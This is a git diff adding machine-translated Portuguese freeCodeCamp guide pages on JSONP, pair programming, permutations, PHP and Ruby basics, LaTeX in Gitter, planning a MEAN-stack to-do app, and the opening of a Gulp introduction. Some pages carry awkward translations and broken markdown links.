+JSONP significa "JSON com preenchimento". Digamos que você queira fazer solicitações AJAX para um domínio diferente. Bem, você não pode fazer isso com XMLHttpRequest, como você faria normalmente, mas você pode fazer isso com tags de script, como visto [no StackOverflow](https://stackoverflow.com/questions/2067472/what-is-jsonp-all-about) :
+
+```javascript
+script = document.createElement('script'); 
+ script.type = 'text/javascript'; 
+ script.src = 'http://www.someWebApiServer.com/some-data'; 
+```
+
+Mas isso é feio, agora temos que retirar elementos de um JSON de uma tag de script, nojento. Felizmente, os criadores do JSONP estavam pensando no futuro, então, em vez de configurar nossos scripts como fizemos anteriormente, fazemos o seguinte:
+
+```javascript
+script.src = 'http://www.someWebApiServer.com/some-data?callback=my_callback'; 
+```
+
+Isso aciona um retorno de chamada automático após o carregamento dos dados, criando uma função com os dados desejados dentro dele.
+
+### Mais Informações:
+
+*   [Wikipidea / JSONP](https://en.wikipedia.org/wiki/JSONP)
+*   [JSONP e JQuery](https://learn.jquery.com/ajax/working-with-jsonp)
+*   [Mais JSONP com JQuery](http://api.jquery.com/jquery.getjson/#jsonp)
+*   [Ajax e JSONP](http://stackoverflow.com/questions/5943630/basic-example-of-using-ajax-with-jsonp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-pair-programming/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-pair-programming/index.md
new file mode 100644
index 0000000000..43b10b6d0a
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-pair-programming/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Pair Programming
+localeTitle: Aprenda sobre programação de pares
+---
+Par programação é onde duas pessoas codificam juntas em um computador.
+
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/f/f68cff8b5354f548f9d680369891ece79b8a154f.jpg)
+
+A programação em pares encoraja você a discutir diferentes abordagens para resolver problemas e manter um ao outro motivado. O resultado é um código melhor do que qualquer um de vocês poderia ter escrito por si mesmos.
+
+Por causa de seus benefícios, muitos engenheiros emparelham o programa em tempo integral. E é a melhor maneira de aprender codificação. Graças às ferramentas que permitem que duas pessoas compartilhem entradas de mouse e teclado, você pode parear o programa com um amigo sem precisar estar na mesma sala.
+
+Você pode experimentar esses benefícios pareando a programação com outros alunos do Free Code Camp em nossos desafios de codificação. Eventualmente, você trabalhará com pessoas de organizações sem fins lucrativos para criar soluções de software da vida real.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-permutations/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-permutations/index.md
new file mode 100644
index 0000000000..33495edf5f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-permutations/index.md
@@ -0,0 +1,13 @@
+---
+title: Learn About Permutations
+localeTitle: Aprenda sobre permutações
+---
+_Permutação_ é um termo matemático para o número de maneiras que um grupo de objetos pode ser montado em um conjunto. É semelhante a outro termo matemático, _combinação_ , exceto por uma diferença fundamental: com permutações, a ordem dos itmes no conjunto faz diferença.
+
+Por exemplo, digamos que você estivesse puxando números de um chapéu e contando as diferentes combinações de três números. Nesse caso, tanto `[1,2,3]` quanto `[3,2,1]` seriam uma combinação de `1` , `2` e `3` e seriam contadas como uma combinação.
+
+No entanto, se você estivesse contando as permutações de números, elas seriam contadas como duas instâncias diferentes, porque os números de cada conjunto estão em uma ordem diferente.
+
+As permutações podem ser calculadas de duas maneiras, dependendo se os valores repetidos são permitidos ou não. Para calcular o número de permutações de `n` objetos sem repetições, você simplesmente calcula `n!` ou `n * (n-1) * (n-2) ... * 1` . Isso faz sentido, porque se você escolher um número do chapéu e não colocá-lo de volta antes de escolher o próximo número, haverá um número a menos para escolher.
+
+Para calcular apenas parte do número total de permutações (por exemplo, para encontrar o número de permutações de três dígitos de 1 a 10 sem repetições), basta multiplicar por quantas escolhas você estiver fazendo. No caso dos três dígitos, você só precisa multiplicar `10 * 9 * 8` . Da mesma forma, se repetições **são** permitidas (ou seja, você coloca o número de volta no chapéu após a escolha), você multiplicaria `10 * 10 * 10` .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-php-array/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-php-array/index.md
new file mode 100644
index 0000000000..d3e1cfb44e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-php-array/index.md
@@ -0,0 +1,36 @@
+---
+title: Learn About Php Array
+localeTitle: Saiba mais sobre o array Php
+---
+# Matriz PHP
+```
+Array Can Store multiple values in single Varible. 
+ let's think that you have a list of cars like ( 'BMW', 'Honda', Swift, 'XUV' ) 
+ 
+ but you want to separate this by categories like sport car, xuv. 
+ but you need to put it in a single varible then you need two arrays 
+ 
+ ## Let's Solve this By Programming 
+ 
+   <?php 
+          $sport_cars = array('BMW', 'Honda'); 
+          $xuv_cars = array('Swift', 'XUV'); 
+          echo "Sport Cars List: " . $sport_cars[0] . ", " . $sport_cars[1] . "."; 
+          echo "XUV Cars List: " . $xuv_cars[0] . ", " . $xuv_cars[1] . "."; 
+    ?> 
+ 
+ Output: 
+    Sport Cars List: BMW, Honda. 
+    XUV Cars List: Swift, XUV. 
+```
+
+Note que: array é Index de 0 a n você pode acessar cada valor passando por lá  
+número de índice para variável como segue
+```
+echo $sport_cars[0]; 
+ 
+ output: 
+    BMW 
+```
+
+Assim você pode acessar o elemento em array
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-php-loops/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-php-loops/index.md
new file mode 100644
index 0000000000..3df121223f
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-php-loops/index.md
@@ -0,0 +1,117 @@
+---
+title: Learn About Php Loops
+localeTitle: Aprenda sobre loops Php
+---
+Loops são blocos de código que executam um número especificado de vezes. Usar loops reduz o número de linhas de código.
+
+O PHP funciona com 4 tipos diferentes de loops:
+
+*   Enquanto loop
+*   Do… while loop
+*   Para loop
+*   Loop foreach
+
+## Enquanto loop
+
+O `while` circuito continua a excecute contanto que a condição referida é verdadeiro.
+
+\`php  
+```
+Example: 
+ ```php 
+ <?php 
+  $x = 1; 
+   while($x <= 3) 
+   { 
+     echo "x=$x "; 
+     $x++; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 
+ ``` 
+ 
+ ## Do...while loop 
+ 
+ In the `do...while` loop the block of code is executed before the condition is checked. 
+ 
+  ```php 
+ <?php 
+     do { 
+       execute code; 
+     } while (condition); 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $x= 1; 
+     do { 
+       echo "x=$x "; 
+       $x++; 
+     } while ($x < 5); 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## For loop 
+ 
+ The `for` loop is used when the number of times the block is to be executed is known in advance. 
+ 
+  ```php 
+ <?php 
+     for (variable initialisation; test condition; increment) 
+     { 
+       execute code; 
+     } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+    for ($x=1 ; $x <= 4 ; $x++) 
+    { 
+      echo "x= $x "; 
+    } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ x=1 x=2 x=3 x=4 
+ ``` 
+ 
+ ## Foreach loop 
+ 
+ The `foreach` loop helps in traversing through arrays. 
+ 
+  ```php 
+ <?php 
+    foreach ($array as $value) 
+    { 
+      executable code; 
+    } 
+ ?> 
+ ``` 
+ Example: 
+ 
+  ```php 
+ <?php 
+ $numbers= array("One", "Two", "Three"); 
+   foreach ($numbers as $value) 
+   { 
+     echo "$value "; 
+   } 
+ ?> 
+ ``` 
+ ``` 
+ Output: 
+ One Two Three 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-php-variables/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-php-variables/index.md
new file mode 100644
index 0000000000..d347672a4d
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-php-variables/index.md
@@ -0,0 +1,163 @@
+---
+title: Learn About Php Variables
+localeTitle: Saiba mais sobre variáveis ​​PHP
+---
+Variáveis ​​são contêineres para armazenamento de dados, como `strings` , `integers` , valores `boolean` , `array` e objetos.
+
+O PHP segue certas regras para declarações de variáveis ​​como:
+
+*   A variável deve começar com um sinal de dólar ($)
+
+Exemplo:
+
+`php <?php $var = 5; ?>`
+
+*   O nome da variável pode conter caracteres como AZ, az, 0-9, \_ e caracteres [ASCII](http://www.asciitable.com/ "ASCII Table") de 127-255.
+
+Exemplo:
+
+`php <?php $var = 5; //Valid $var_1 = "Foo"; //Valid $_var2 = 'Bar'; //Valid $var.3 = 'Baz'; //Invalid ?>`
+
+*   O nome da variável pode começar com sublinhado (\_).
+
+Exemplo:
+
+`php <?php $_var2 = 'Bar'; //Valid ?>`
+
+*   O nome da variável não deve começar com um número 0-9.
+
+Exemplo:
+
+`php <?php $9var3 = 'Baz'; //Invalid ?>`
+
+*   O nome da variável faz distinção entre maiúsculas e minúsculas.
+
+Exemplo:
+```
+<?php 
+    $var = 5; //Valid 
+    $VAR = "Foo"; //Valid 
+    echo $var; //Output 5 
+    echo "<br>"; 
+    echo $VAR; //Output Foo 
+ ?> 
+```
+
+PHP é uma linguagem fracamente tipada, portanto, não precisamos declarar o tipo de dados de uma variável ao declarar a variável. Ao contrário de Java ou C.
+```
+<?php 
+    $var = 5; 
+    $var2 = 4; 
+    $sum = $var+$var2; 
+    echo $sum; //Output 9 
+    echo "<br>"; 
+    echo $var+$var2; //Output 9 
+ ?> 
+```
+
+As variáveis ​​também podem ser atribuídas por referência. Isso permite que duas variáveis ​​se refiram ao mesmo conteúdo. O operador `&` é colocado antes da variável a ser referenciada.
+
+Exemplo:
+```
+<?php 
+    $var1 = "foo"; 
+    $var2 = "bar"; 
+ 
+ myTest($var1, $var2); 
+ 
+ echo $var1; //Output foo 
+ echo $var2; //Output BAR 
+ 
+ function myTest($var1, &$var2){ 
+    $var1 = "FOO"; 
+    $var2 = "BAR"; 
+ } 
+ ?> 
+```
+
+Para ter nomes de variáveis ​​definidos dinamicamente, usamos as variáveis ​​variáveis. Isso pode ser particularmente útil quando há necessidade de criar várias variáveis.
+
+Exemplo:
+```
+<?php 
+ 
+    $var = 'Tom'; 
+    echo $var;      //Output Tom 
+    $$var = 'Cat'; //The value of $$var is the value of $var. So $$var and $Tom give the same output. 
+    echo $$var;   //Output Cat 
+    echo $Tom;   //Output Cat 
+ ?> 
+```
+
+# Escopo Variável
+
+O escopo da variável refere-se aos locais de onde uma variável é acessível.
+
+*   O escopo global é para as variáveis ​​declaradas fora de uma função. Essas variáveis ​​podem ser acessadas de qualquer lugar, mas não dentro de uma função.
+*   O escopo local é para as variáveis ​​declaradas dentro de uma função que não pode ser acessada de qualquer lugar fora da função.
+
+Exemplo:
+```
+<?php 
+   $global = "Hello"; 
+ 
+  function Test(){ 
+   $local = "World"; 
+   echo $global; //Error 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+```
+
+Para acessar variáveis ​​globais dentro de uma função:
+```
+<?php 
+   $global = "Hello"; 
+ 
+ function Test(){ 
+   global $global; 
+   $local = "World"; 
+   echo $global; //Output Hello 
+   echo $local; //Output World 
+  } 
+ 
+   Test(); 
+   echo $global; //Output Hello 
+   echo $local; //Error 
+ ?> 
+```
+
+# Variáveis ​​Estáticas
+
+Toda vez que uma função é criada, todas as variáveis ​​locais são excluídas. Para reter o último valor da variável, declaramos que é `static` .
+
+Exemplo:
+```
+<?php 
+ 
+ function WithStatic(){ 
+   static $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithStatic(); //Output 0 
+   WithStatic(); //Output 1 
+   WithStatic(); //Output 2 
+ 
+ function WithoutStatic(){ 
+   $var = 0; 
+   echo $var; 
+   $var++; 
+  } 
+ 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+   WithoutStatic(); //Output 0 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-ruby-arrays/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-arrays/index.md
new file mode 100644
index 0000000000..95d074f2f8
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-arrays/index.md
@@ -0,0 +1,28 @@
+---
+title: Learn About Ruby Arrays
+localeTitle: Aprenda sobre matrizes de Ruby
+---
+### Noções básicas:
+
+*   Arrays são uma lista de itens indexados armazenados dentro de colchetes `<a href='http://ruby-doc.org/core-2.2.0/Array.html' target='_blank' rel='nofollow'>]` .
+*   Ruby usa indexação baseada em zero. Isso significa que o primeiro item da matriz é armazenado no número de índice `0` , depois o segundo no número de índice `1` e assim por diante, aumentando em valores de 1 para cada item adicional armazenado na matriz.
+*   Os arrays podem ser criados usando a sintaxe `[]` ou `Array.new` .
+*   O Ruby possui muitos métodos de construção para executar operações em matrizes, como reverter ou localizar um elemento armazenado na matriz.
+
+## Exemplos:
+```
+arr = [1,2,3] 
+ # is equivalent to: 
+ arr = Array.new(3) 
+ arr[0] = 1 
+ arr[1] = 2 
+ arr[2] = 3 
+ # is also equivalent to: 
+ arr = Array(1..3) 
+ # All three of these examples return: 
+ [1,2,3] 
+```
+
+## Referências:
+
+*   [A documentação oficial do Ruby para matrizes](https://docs.ruby-lang.org/en/2.0.0/Array.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-ruby-hashes/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-hashes/index.md
new file mode 100644
index 0000000000..954f645ec5
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-hashes/index.md
@@ -0,0 +1,33 @@
+---
+title: Learn About Ruby Hashes
+localeTitle: Aprenda sobre hashes de Ruby
+---
+### Noções básicas:
+
+*   Os hashes Ruby são comparáveis ​​a objetos ou dicionários Javascript em linguagens como o Python.
+*   Os hashes contêm itens armazenados por `key: value` pares de `key: value` .
+*   Os hashes Ruby podem ser criados usando os seguintes métodos:
+    *   `my_hash = {}`
+    *   `my_hash = Hash.new`
+*   Existem muitos métodos embutidos no Ruby para encontrar informações e atualizar hashes.
+
+## Exemplos:
+```
+my_hash = {'name' => 'Batman', 'age' => 25} 
+ # is equivalent to: 
+ my_hash = Hash.new 
+ my_hash<a href='http://www.randomhacks.net/2007/01/20/13-ways-of-looking-at-a-ruby-symbol/' target='_blank' rel='nofollow'>'name'] = 'Batman' 
+ my_hash['age'] = 25 
+ # Both of these examples return: 
+ {"name"=>"Batman", "age"=>25} 
+ 
+ # here is an alternative way to create the array: 
+ {name: 'Batman', age: 25} 
+ # this example return: 
+ {:name=>"Batman", :age=>25} 
+ # learn more about [symbols here</a> 
+```
+
+## Referências:
+
+*   [A documentação oficial do Ruby para hashes](http://ruby-doc.org/core-2.2.0/Hash.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-ruby-numbers/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-numbers/index.md
new file mode 100644
index 0000000000..0d9b094f26
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-numbers/index.md
@@ -0,0 +1,34 @@
+---
+title: Learn About Ruby Numbers
+localeTitle: Aprenda sobre os números de Ruby
+---
+### Noções básicas:
+
+*   Ruby tem duas categorias de números - inteiros e ponto flutuante (também chamados de floats).
+*   Inteiros são números inteiros que podem ser positivos ou negativos, mas não podem ser frações.
+*   Dependendo do tamanho, os inteiros podem ter a classe `Fixnum` ou `Bignum` .
+*   Flutuadores são números com uma casa decimal.
+
+## Exemplos:
+```
+x = 5.5 
+ x.class 
+ # returns 
+ Float 
+ 
+ x = 5 
+ x.class 
+ # returns 
+ Fixnum 
+ 
+ x = 11122233344455566677 
+ x.class 
+ # returns 
+ Bignum # basically, Bignum is a very large number 
+ # <a href='http://ruby-doc.org/core-2.0.0/Bignum.html' target='_blank' rel='nofollow'>read this article for more info</a> 
+```
+
+## Referências:
+
+*   [A documentação oficial do Ruby para números inteiros](http://ruby-doc.org/core-2.2.0/Integer.html) .
+*   [A documentação oficial do Ruby para carros alegóricos](http://ruby-doc.org/core-2.2.0/Float.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-ruby-strings/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-strings/index.md
new file mode 100644
index 0000000000..03406ff867
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-ruby-strings/index.md
@@ -0,0 +1,44 @@
+---
+title: Learn About Ruby Strings
+localeTitle: Aprenda sobre cadeias de caracteres de Ruby
+---
+### Noções básicas:
+
+*   Cordas são uma série de caracteres 'amarrados' juntos entre aspas.
+    
+*   Aspas simples ou duplas podem ser usadas para criar strings em Ruby.
+    
+*   Ruby faz uma avaliação extra sobre strings criadas com aspas duplas, como:
+    
+    *   Caracteres de escape: `\n` , `\t` , `\s`
+        
+    *   Usando variáveis ​​e expressões dentro de: `#{variable or expression}`
+        
+*   Strings com aspas simples são renderizadas como são, sem nenhuma consideração especial.
+    
+
+## Exemplos:
+```
+"Hello World" 
+ # is equivalent to: 
+ 'Hello World' 
+ 
+ "This is line 1.\nAnd this is line 2." 
+ # returns: 
+ This is line 1. 
+ And this is line 2. 
+ 
+ name = "Batman" 
+ "Hello, my name is #{name}!" 
+ # returns: 
+ Hello, my name is Batman! 
+ 
+ # Note that for single quotes, ruby doesn't take special consideration for variables or backslashes: 
+ 'This is your name:\n#{name}' 
+ # returns: 
+ This is your name:\n#{name} 
+```
+
+## Referências:
+
+*   [A documentação oficial do Ruby para strings](http://ruby-doc.org/core-2.2.0/String.html) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-about-the-latex-language/index.md b/client/src/guide/portuguese/miscellaneous/learn-about-the-latex-language/index.md
new file mode 100644
index 0000000000..5c74c3910e
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-about-the-latex-language/index.md
@@ -0,0 +1,47 @@
+---
+title: Learn About the Latex Language
+localeTitle: Aprenda sobre o idioma do látex
+---
+LaTeX (pronunciado LAH-tekh ou LAY-tekh) é projetado para a produção de documentação técnica e científica. Você pode facilmente criar matrizes, matrizes e outras funções matemáticas usando este sistema de composição. Os usuários podem formatar seus documentos usando o código em vez de uma interface gráfica do usuário (GUI).
+
+`$$ (latex language) $$`
+
+Você pode inserir Latex no GitterIM. Exemplos:
+
+## Matriz
+```
+$$\begin{array} {cc} 
+ arr11 & arr12\\ 
+ arr21 & arr22\\ 
+ \end{array}$$ 
+```
+
+## Matriz
+```
+$$\begin{pmatrix} 1 & 0 \\ 0 & 1 \end{pmatrix}$$ 
+```
+
+## Formatação
+```
+$$\huge\textstyle\color{#F00}{BigRed}\small\textstyle\color{#0F0}{SmallGreen}$$ 
+```
+
+[Suporte de Função](https://github.com/Khan/KaTeX/wiki/Function-Support-in-KaTeX)
+
+## Detalhes
+
+[KaTeX Github Repo](https://github.com/Khan/KaTeX) LaTeX é um sistema de composição de alta qualidade; inclui recursos projetados para a produção de documentação técnica e científica. LaTeX é o padrão de fato para a comunicação e publicação de documentos científicos. Suas vantagens são notáveis ​​em documentos longos como livros, trabalhos ou teses.
+
+O Gitter usa o Katex (uma implementação personalizada do LaTeX) e pode ser usado introduzindo o seguinte código:
+```
+$$\begin{array} {cc} 
+ item11 & item12\ 
+ item21 & item 22\ 
+ \end{array} 
+ $$ 
+```
+
+Texto:
+
+*   `$$\huge\textstyle{some text}$$` -> $$ \\ enorme \\ textstyle {algum texto} $$
+*   `$$\color{#F90}{some text}$$` -> $$ \\ color {# F90} {some text} $$
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-how-to-plan-your-future-project/index.md b/client/src/guide/portuguese/miscellaneous/learn-how-to-plan-your-future-project/index.md
new file mode 100644
index 0000000000..359d17c665
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-how-to-plan-your-future-project/index.md
@@ -0,0 +1,130 @@
+---
+title: Learn How to Plan Your Future Project
+localeTitle: Aprenda como planejar seu projeto futuro
+---
+Um grama de preparação vale um quilo de cura. Isso é verdade na medicina, e isso é definitivamente verdade no desenvolvimento de software.
+
+Aqui está um fluxo de trabalho estruturado de 10 etapas que o guiará pelo processo de planejamento de aplicativos, com o objetivo de evitar que você grave muitos códigos desnecessários.
+
+Juntos, planejaremos um aplicativo da Web de página simples "To-do" simples. Também planejaremos um back-end de API para um futuro aplicativo para dispositivos móveis.
+
+## 1) Crie o nosso quadro Trello
+
+[O Trello](https://trello.com/) é uma maneira divertida e gratuita de dividir seu processo de planejamento e desenvolvimento em pequenas tarefas que podem ser rastreadas.
+
+![Imagem do quadro Trello](https://lh3.googleusercontent.com/EI4AQ4NINm3B2DHR_YIS29JyKVa5dTPiT3RtITylmndFlpshTHepsKuO8_1KQNfdPDSBjslDReHCuPFeH1GNrDtgOwTyq6ZtGf3DFBmq1AsAhPHKt_0pLXQLf0o4ZbDuKVj4-Bo)
+
+[Aqui está a aparência da nossa prancha Trello](https://trello.com/b/O9MZcYyY/todo-app) . Eu prefiro dividir minhas tarefas em 3 colunas (dependendo da complexidade do projeto):
+
+*   Para fazer - o que resta fazer
+*   Em andamento - tarefas nas quais as pessoas estão trabalhando atualmente
+*   Concluído - tarefas concluídas e prontas para teste
+
+## 2) Escreva histórias de usuários
+
+Aqui estão alguns exemplos de histórias de usuários. Estes irão orientar a forma como pensamos sobre as funcionalidades e funcionalidades da nossa aplicação. Note que todos eles seguem uma estrutura similar: como [pessoa\] eu posso \[fazer alguma coisa\].](https://lh5.googleusercontent.com/2v6iIMbCrLSKVfqttEToum7OA3YGQCBKWUHcSCB1KEbEcijXxQtKJKY6fhLXeecJiO27P4icOuPlkVc9_uNXolzlzNXOo_TPh09GZsAqRH-JISqPrpx0PZdtbHOr0RIuQUbTbaw)
+
+*   como usuário logado, posso ver a lista das minhas tarefas.
+*   como usuário logado, posso adicionar uma nova tarefa.
+*   como usuário logado, posso excluir uma tarefa (somente minhas tarefas - não de outros usuários).
+*   como usuário logado, posso completar uma tarefa (somente minhas tarefas - não outros usuários).
+*   Como usuário anônimo, posso me inscrever para uma nova conta, recuperar minha senha ou fazer login no aplicativo com uma conta existente.
+
+## 3) Crie nosso modelo de casos de uso
+
+Nosso modelo de caso de uso nos ajudará a visualizar nossas histórias de usuário para que possamos entender melhor como implementá-las.
+
+! \[Diagrama de caso de usuário anônimo
+
+![Diagrama de caso de usuário autenticado](https://lh6.googleusercontent.com/3V6dVvAcyjqFkaOukimucYOX0CfwBBYNN9SvjmnVy40Pdhs4Wtrr34i3E-9pbV7tFsp4jHm77IFQvFupjq6OWyxqEgCzcQ995Ayh52Msczu6TfwKeNhL9PYHyxSgmPYA1TR6l6Q)
+
+## 4) Crie nosso diagrama de atividades
+
+Nosso diagrama de atividades mostrará os diferentes caminhos que nossos usuários podem seguir em nosso aplicativo.
+
+![Imagem de diagrama de atividade](https://lh6.googleusercontent.com/jAQL4myqWOPA3gk2iTpGyAQBrO6p1GlPe8BQQ1Se6a-Di40X3Zw1p0wfJewZUL-YyDmedYzX5Lxvo2GW2Qnr6I-6kuKe1sDb9_5F_n46cKoawWReWW_ZoZCIJO6Semc4fvsiuHc)
+
+Um usuário acessa nosso aplicativo de tarefas.
+
+*   Se o usuário não estiver logado, ela verá a nossa página de login.
+    
+*   Se ela já tiver uma conta, ela poderá fazer login.
+    
+*   Se ela tiver uma conta, mas ela esqueceu sua senha, ela pode recuperar sua senha.
+    
+*   Se ela não tiver uma conta, ela poderá criar uma.
+    
+*   Tanto "criar uma conta" quanto "recuperar minha senha" exigirão validação de e-mail. Um usuário pode fazer login em nosso aplicativo somente depois de confirmar seu endereço de e-mail.
+    
+*   Se ela estiver conectada, ela verá sua lista de tarefas (isso pode ficar vazio se ela não tiver adicionado nenhuma tarefa ainda).
+    
+*   Um usuário logado:
+    
+    *   é capaz de ver sua lista de tarefas
+        
+    *   é capaz de marcar uma tarefa de sua lista como concluída
+        
+    *   é capaz de pesquisar dentro de sua lista de tarefas
+        
+    *   é capaz de excluir uma tarefa da lista dela
+        
+    *   pode sair.
+        
+*   O usuário pode sair do aplicativo a qualquer momento.
+    
+
+## 5) Crie nossos maquetes
+
+Nossos modelos mostram como deve ser nosso aplicativo. É muito mais rápido fazer uma iteração em uma maquete do que em código de trabalho.
+
+![Imagem de maquete](https://lh3.googleusercontent.com/GBFhmBkfr-xM5YSXlR0Fm9y8b24ivdRlUtRWQOHJ8skNxEgjTkAef0e5nZ-CcHKNUq2p4V4hgDuAm9LSEuvbovlVborH1ZioAUXVlEblWZ4hN_d2tGEpxhfTkKH9os2JS1pab4w)
+
+## 6) Escolha as tecnologias certas para o nosso projeto
+
+Como esse é um aplicativo de página única, vamos nos basear fortemente - ou, neste caso, exclusivamente - no JavaScript. Vamos usar uma das pilhas JavaScript mais populares: a pilha MEAN. Um grande benefício da pilha MEAN é que todos os seus componentes são livres e de código aberto. Também há toneladas de recursos disponíveis para aprender a pilha MEAN e para depurá-la quando você inevitavelmente encontra erros.
+
+Você pode ter um [ambiente de desenvolvimento de pilha MEAN](http://www.freecodecamp.com/challenges/get-set-for-our-back-end-development-projects) instalado e funcionando na nuvem em menos de uma hora, gratuitamente.
+
+Aqui estão os componentes que usaremos:
+
+1.  [MongoDB](http://mongodb.org/) para nosso banco de dados
+2.  [Node.js](http://nodejs.org/) e [Express.js](http://expressjs.com/) para implementar nossa API
+3.  [AngularJS](http://angularjs.org/) , juntamente com HTML e CSS (e Bootstrap) para o nosso aplicativo do lado do cliente
+4.  [Mangusto](http://mongoosejs.com/) para conectar nosso aplicativo ao MongoDB
+
+## 7) Projete nosso esquema de banco de dados
+
+Vale a pena o esforço para projetar um esquema de banco de dados, mesmo para o nosso aplicativo simples.
+
+Teremos duas coleções: nossa coleção "Usuários" hospedará nossos dados de usuário, e nossa coleção "ToDo" abrigará nossas tarefas que precisam ser realizadas. Um usuário pode ter zero, uma ou muitas tarefas em sua lista de tarefas, portanto, teremos um relacionamento de um para muitos (1: m) entre nossas duas coleções.
+
+![Diagrama do Esquema do Banco de Dados](https://lh6.googleusercontent.com/5uSb_xnSSc5CWXJD0yyUGVJsL92RRZl3Bex_3wjuzl5Xr69Ks0j3od-yFju24SAd5wWMBNy9uqBrvOzdrUWluOkbcr4H5zFg-ZemJX3ZRWS12D42OowuvWnxA7wWIGrhhzaQ0aw)
+
+## 8) Definir nossos casos de uso
+
+1.  O que acontece com as tarefas relacionadas a um usuário que exclui a conta dela? Quando o usuário exclui sua conta, as tarefas relacionadas a esse usuário também devem ser excluídas.
+2.  Nenhuma tarefa pode ser adicionada sem estar vinculada a um usuário confirmado.
+3.  Uma tarefa só pode ser excluída pelo seu proprietário.
+4.  Nenhum usuário pode ser adicionado com um nome de usuário ou senha vazia.
+5.  Nenhuma tarefa pode ser adicionada com uma tarefa vazia.
+
+Coisas para manter em mente:
+
+1.  Use o middleware Mongoose para remover documentos dependentes como tarefas quando um usuário exclui sua conta.
+2.  Use regras de validação do Mongoose nos modelos para evitar que campos vazios sejam adicionados ao nosso banco de dados.
+
+## 9) Projete e teste nossa API
+
+Eu usei um produto gratuito chamado Apiary [para documentar nossa API](http://docs.fcctodoapp.apiary.io/) .
+
+Aqui está a sintaxe que usei para [criar este BluePrint simples](https://jsapi.apiary.io/apis/fcctodoapp.apib) .
+
+Eu recomendo que você crie uma conta e comece a jogar com ela. Se você vincular sua conta do [GitHub](http://github.com/) ao Apiary, poderá garantir que sua documentação permaneça sempre atualizada. Você também poderá testar seus dados visualmente sem a necessidade de realmente atingir seus endpoints da API. Se você preferir testar sua API na linha de comando, [aqui está um exemplo de como fazer isso](http://docs.agendor.apiary.io/) .
+
+Posteriormente, depois de implementar sua API com Node.js e Express.js, você precisará definir seu URL no Apiary. Então você pode começar a testar suas chamadas. Nossa URL atual do host ( [http://fcctodoapp.apiblueprint.org/](http://fcctodoapp.apiblueprint.org/) ) será substituída pelo URL da sua API.
+
+![App demo picture](https://lh6.googleusercontent.com/hU3ilG_y9FqtL_zajQ_KOjWy8Qx590Go8nkNvA1j0oR50YJTpjJhL1lAPgjyeLTAS06tq6V62EcJrLQyT_TR2BK49DYiX6kksU6s9cqJDvvaS6jvepIM6uiO4JMbXuu-oXhdsas)
+
+## 10) Comece a escrever o código!
+
+Essa é a parte divertida e vai ocupar a maior parte do tempo do seu projeto. Se você precisar de ajuda com isso, junte-se a nós e aprenda a codificar.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/miscellaneous/learn-some-gulp-basics/index.md b/client/src/guide/portuguese/miscellaneous/learn-some-gulp-basics/index.md
new file mode 100644
index 0000000000..8914e50072
--- /dev/null
+++ b/client/src/guide/portuguese/miscellaneous/learn-some-gulp-basics/index.md
@@ -0,0 +1,173 @@
+---
+title: Learn Some Gulp Basics
+localeTitle: Aprenda alguns princípios básicos do Gulp
+---
+Gulp pode fazer **muito** . Esta é apenas uma visão geral do básico. Depois de entender isso, você pode adicionar mais ao Gulp por conta própria. A documentação para diferentes pacotes que usei tem sido ótima e também temos uma grande comunidade no FreeCodeCamp pronta para ajudar com qualquer projeto.
+
+![Logo Gulp](https://raw.githubusercontent.com/gulpjs/artwork/master/gulp.png)
+
+## O que é o Gulp?
+
+Gulp é um corredor de criação / tarefa em JavaScript. Você está usando Jade, mas precisa de HTML? Sass, mas precisa de CSS? CoffeeScript, mas precisa de JavaScript? Ou talvez você só queira concatenar e / ou minimizar o que você já tem? Gulp pode fazer tudo isso facilmente, então você não precisa voltar ao seu terminal após cada pequena mudança.
+
